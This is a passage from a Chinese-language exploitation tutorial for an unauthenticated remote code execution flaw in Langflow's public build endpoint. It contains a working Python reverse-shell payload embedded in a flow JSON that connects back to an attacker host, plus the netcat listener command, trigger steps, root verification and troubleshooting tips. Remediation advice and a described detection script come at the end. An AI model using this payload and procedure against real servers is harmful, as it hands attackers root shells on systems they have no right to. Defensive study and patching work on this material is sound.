socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{攻击ip}\",{listen_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])')\n\nclass Pwn(Component):\n display_name = \"Pwn\"\n def build(self) -> None:\n pass"}, "_type": "CustomComponent"}, "base_classes": ["CustomComponent"], "display_name": "Custom Component", "outputs": [{"types": ["CustomComponent"], "name": "Custom Component"}]}}}], "edges": []}}里面那段 Python 拆开看,一共四步:importsocket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(("{攻击ip}",{listen_port}))os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2)subprocess.call(["/bin/sh","-i"])前两行建一个 TCP socket;s.connect让目标主动连回攻击机的{攻击ip}:{listen_port};三个os.dup2把 shell 的标准输入、标准输出、报错全部"转接"到这条连接上——这是反弹的关键,不转的话你连上了也看不到输出;最后起一个交互式/bin/sh,-i表示交互模式。为什么这里直接用 Python 而不是常见的bash -i >& /dev/tcp/...?因为这句代码本身就是被exec当 Python 执行的,Python 代码里再塞 bash 语法反而要处理引号转义,直接写 Python 最顺。这是这个洞相比其他 RCE 省事的地方——别人的命令要过 Shell 解析的关,这里它本来就是 Python 解释器主场。步骤2:攻击机开监听在攻击机上,用nc开好监听,等目标连回来:nc-lvvp{listen_port}-l是监听模式,-v显示详细信息,-p指定端口。开着别动,它会安静地等。步骤3:触发漏洞,注意这个"假失败"把反弹请求包发出去。这时候会出现一个特别容易劝退人的画面:发包工具直接报错,“请求失败或服务端异常”,详细原因是read tcp ... i/o timeout——读取超时。我第一次打到这里,心里咯噔一下,以为 payload 写坏了。结果切到监听窗口一看,Shell 早就躺在那了。💡核心原理超时不是失败,恰恰是成功的信号。正常情况下,构建任务编译完、报错推完,HTTP 连接就正常关闭了。但这一次,服务器执行了我们的反弹代码,/bin/sh把这个连接背后的进程"占住"了,一直在和你的攻击机保持会话,HTTP 响应永远发不回来,发包工具等到超时就报了 i/o timeout。换句话说,它是在告诉你:服务器的注意力已经被我的 Shell 牵走了,没空回你这个包了。步骤4:验证权限回到攻击机的监听窗口:连接进来了,提示符就绪。挨个验证:whoamiid回显root和uid=0(root) gid=0(root) groups=0(root)。这台 Langflow 服务器,此刻在你的控制之下。你可以再ls、pwd走两步确认一下,命令随敲随应。而且因为我们走的是反弹、不需要回显,第二步的job_id轮询都可以直接省掉——把反弹 payload 发出去,去监听窗口接人就行。这也是这个洞的利用可以非常短的原因:一个请求,一扇门开。💡降级方案如果目标出网受限、连不回你的攻击机(比如只允许内网访问),退回回显路线:把id换成你想执行的命令,通过raise Exception从报错里一条条取结果,先把敏感信息、环境情况摸清楚,再考虑用其他方式落地。回显方式虽然不能交互,但在目标完全不出网的环境里是唯一的验证手段,别一上来就死磕反弹。五、踩坑与避坑坑1:忘带 Cookie,接口直接装死发包时一切看起来都对,UUID 也没错,结果接口不按预期响应。排查了好一会儿,发现是没带Cookie: client_id=anything。这个接口虽然不验证身份,但会检查客户端标识在不在。解决方案:请求头里固定带上这个 Cookie,值随便填,带上就过。知道了就这么简单,不知道能卡你十几分钟。坑2:代码写进 build() 方法,死活不执行照着官方自定义组件的写法,把执行代码写进了build()方法里,觉得这才是组件"运行时该干的事",结果命令纹丝不动。这是这个洞最核心的认知点。Langflow 在编译阶段会先执行模块级的代码(也就是类定义之外、文件最外层的语句),而build()方法里的代码,要等组件真正被实例化、被调用时才会跑。我们的请求只走到"编译拼合"这一步,根本不会进入build()。解决方案:把执行语句放在模块最外层,写成_x = exec(...)这种赋值形式,让它在拼合的瞬间就被触发。记住那个比喻——安检在进门之后才排队,而模块级代码是人一踩垫子就开火。坑3:发包超时,以为是 payload 坏了就是 GetShell 那一步的画面。Burp 报i/o timeout,本能反应是"没成功,改 payload"。实际上超时是因为反弹 Shell 占住了连接、HTTP 响应回不来。解决方案:判断成败别看发包工具的状态,直接看攻击机的监听窗口。监听口有人连进来,就是成了;没人连,再去查 payload 和网络。坑4:第二步轮询太快,拿到 404提交任务后立刻发 GET,有时返回 404 或 409,以为任务没建成。根因是构建任务在后台异步注册,job_id还没登记完你就去查,自然查不到。解决方案:等一两秒再发,或者轮询重试几次。写自动化探测脚本时,这个 404/409 重试逻辑必须带上,否则脚本会误报"漏洞不存在"。六、修复建议与自查升级 Langflow 到 1.9.0 及以上版本,这是最根本的修复——新版本直接移除了公开构建接口的data参数,路人没法再替换流程。明确关闭自动登录,设置LANGFLOW_AUTO_LOGIN=false,并设置强密码的超级管理员账号,切断"无凭据拿超级令牌"这条旁路。不要把 Langflow 直接暴露在公网。需要对外提供试玩时,放在反向代理后面,加上访问控制或认证,至少限制来源 IP。盘点历史分享出去的 Playground 链接,确认哪些流程是 PUBLIC 状态,不再需要的及时关闭分享。上线前用自查脚本确认自己的资产是否中招。漏洞自查脚本 detect.py我整理了一个无副作用的探测脚本detect.py,专门给运维和防守同学自查用,只做检测、不做任何破坏。它的逻辑和我们手动复现完全一致:向公开构建接口提交一个只执行id的临时构建任务,然后轮询构建事件,如果在报错里看到uid=形式的命令输出,就判定漏洞存在。整个过程不写数据库、不改目标状态、不留后门,攻击机也不用开放任何入站端口。用法:python detect.py-thttp://{业务目标ip}:7860-fe8b4f8c2-7a1d-4e5f-9b3c-2a6d8f0e1b4a-t指定目标,-f指定公开流程的 UUID;不加-f时用的是靶场默认值。返回值含义:0代表确认存在漏洞,1代表不存在(接口要认证或返回 404),2代表不可达或需要人工确认。加-v可以看每一步的详细输出。七、写在最后这个洞讲到根上就一句话:你以为你只是在门口摆了台请人试吃的点餐屏,结果它连厨房的菜架都能被人换掉。最值得琢磨的是官方的修法——不是加锁,而是把"让路人递菜谱"这个能力直接删掉。很多安全问题根子都在这:只要系统会执行外部传进来的东西,外面再多的认证都只是补丁;让它从一开始就不该执行,才是断根。这个洞还顺带提醒了一个容易被忽略的点:默认配置往往为了好用而偏宽松。AUTO_LOGIN这种开关,在本地试用时是方便,一旦服务要上公网,就得按"能不给的权限就不给"的原则收紧。如果你之前跟过我写的 Langflow 另一个洞——《【GetShell】Langflow API未授权远程代码执行漏洞(CVE-2025-3248)》,建议两篇放一起看。上一个是 API 接口未授权,这一个是公开试玩接口能被替换流程,同一个产品、两种不同的"门没关好",看完你会对这类"免登录 + 可传内容 + 自动执行"的组合特别敏感。第一次复现的话,建议先把第三节的id回显打出来,确认链路通了,再做反弹。每一步都有截图,卡住了对照着查。复现过程中有问题直接评论区留言,我看到了会回。本文仅用于合法的安全研究和教育目的。请确保你测试的系统是你拥有合法授权的靶场环境,禁止对任何未授权系统进行测试。请遵守《中华人民共和国网络安全法》。技术本身没有好坏,关键在于是谁在用、用来做什么。